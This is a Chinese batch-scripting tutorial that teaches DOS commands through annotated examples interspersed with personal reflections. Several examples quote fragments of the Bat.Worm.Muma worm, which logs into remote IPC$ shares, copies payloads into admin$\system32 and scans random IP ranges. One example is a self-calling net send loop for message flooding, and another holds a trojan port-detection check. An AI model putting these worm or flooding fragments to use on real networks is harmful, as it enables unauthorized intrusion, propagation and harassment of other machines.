十分经典的批处理教程

这是一篇技术教程，真心诚意会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。.

先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的—众多高手们也都没给出—反正我不知道—看了我也不一定信服—我是个菜鸟，当然就更不用说了；但我想总结出一个"比较合适的"，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理"，那么我的目的就达到了—我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！

按照我的理解，批处理的本质，是一堆**DOS**命令按一定顺序排列而形成的集合。

OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为**BATCH**，批处理文件后缀**BAT**就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就**ok**了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是**DOS**。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句"闲话"：要学好批处理，**DOS**基础一定要牢！当然脑子灵活也是很重要的一方面。

例一、先给出一个最**easy**的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为**name.bat**然后执行（以后文中只给出代码，保存和执行方式类似）：

```
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
```

是不是都能看的懂？是不是很**easy**？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为**a.txt**的文件，它里面记录的信息可以帮助你迅速找到速度最快的**QQ**服务器，从而远离"从服务器中转"那一痛苦的过程。这里**>**的意思，是把前面命令得到的东西放到后面所给的地方，**>>**的作用，和**>**的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个**a.txt**文件越来越大（想到如何搞破坏了？？）。**By the way**，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器**IP**，是不是很爽？后面还将详细介绍。

例二、再给出一个已经过时的例子（**a.bat**）：

```
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
```

为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的**QQ**了（**KAO**，我的**QQ**还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除**QQ**的广告，让对话框干干净净。这里用的地址是**QQ**的默认安装地址，默认批处理文件名为**a.bat**，你当然可以根据情况自行修改。在这个脚本中使用了**if**命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执

行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。

例三，使用批处理脚本查是否中冰河。脚本内容如下：

```
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
```

这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。

例四，借批处理自动清除系统垃圾，脚本如下：

```
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
```

将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用"专业"的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果—不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！

批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：‘你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。

从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理"自动化"的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我"被逼"写了这个脚本，用起来很爽，呵呵。看看脚本内容：

```
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
```

先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！

在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。

2、echo

中文为"反馈"、"回显"的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。

直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！

echo命令的另一种用法

一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为么？？）。

二：可以直接编辑文本文件。例六：

```
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
```

以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。

3、::

这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*.....*/类似。地球人都能看懂，就不多说了。

4、pause

中文为"暂停"的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续...。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。

5、:和goto

为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？

）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。
goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：

```
......
goto end
......
:end
```

这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：

```
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32.bat -r -h -s
```

以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 .....。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。

关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！

这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过"唯女子与小人，难养也"，真**有先见之明，佩服！

虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！

曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。

批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西—但那也就不必看了，浪费时间！

7、if

接上一章，接着讲**if**命令。总的来说，**if**命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧：

```
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
```

这里判断输入的参数情况，如果参数为空（无参数），则跳转到**usage**；如果参数为**/?**或**help**时（大家一般看一个命令的帮助，是不是输入的**/?**或**help**呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到**usage**。这里还可以用否定形式来表示"不等于"，例如：**if not "%1"=="" goto usage**，则表示如果输入参数不为空就跳转到**usage**（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就**understand**了。

(2)、存在判断。再看例二里这句：

```
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
```

如果存在那些**gif**文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句"如果不存在那些**gif**文件则退出脚本"：**if not exist C:\Progra~1\Tencent\AD*.gif exit**。只是多一个**not**来表示否定而已。

(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：

```
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
```

先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用**link**程序连接生成的**obj**文件。这里只介绍一下和**if**命令有关的地方，**&**命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，**DOS**程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为**1**），则执行相应的操作（这里相应的操作为**pause & edit %1.asm**部分）。

另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变

为：

```
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
```

看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，"if not errorlevel 1"和"if errorlevel 0"的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？

后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示"否则"的操作，是比较麻烦的。以上代码必须变成：

```
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
```

关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个"if /?"就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。

```
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
```

8、call

学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：

```
start.bat：
……
CALL 10.BAT 0
……
10.bat：
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
```

有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：

1、脚本调用可以灵活运用，循环运用、重复运用。
2、脚本调用可以使用参数！

关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。

在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。

那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用—调用自身！看例九（默认脚本文件名a.bat）：

```
net send %1 This is a call example.
call a.bat
```

这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。

给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：

```
call a.bat
```

一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：

```
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
```

先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串"7626"，发现有的话则提示中了冰河，否则退出。看，find

命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找"7626"（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的"另一个命令"自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：

```
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
```

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：

```
START.BAT：
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET
NUM3=%%
K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
```

```
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
```

这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去—爱需要理由吗？不需要吗？需要吗？不需要吗.....等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。

没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。

不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。

可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂—但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。

但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service—人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个"振奋人心"的消息：期末考试有一科挂了，而且是全班第一—这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。

"课间休息"时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>

11、|

这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：

```
help | more
```

回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。

为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。

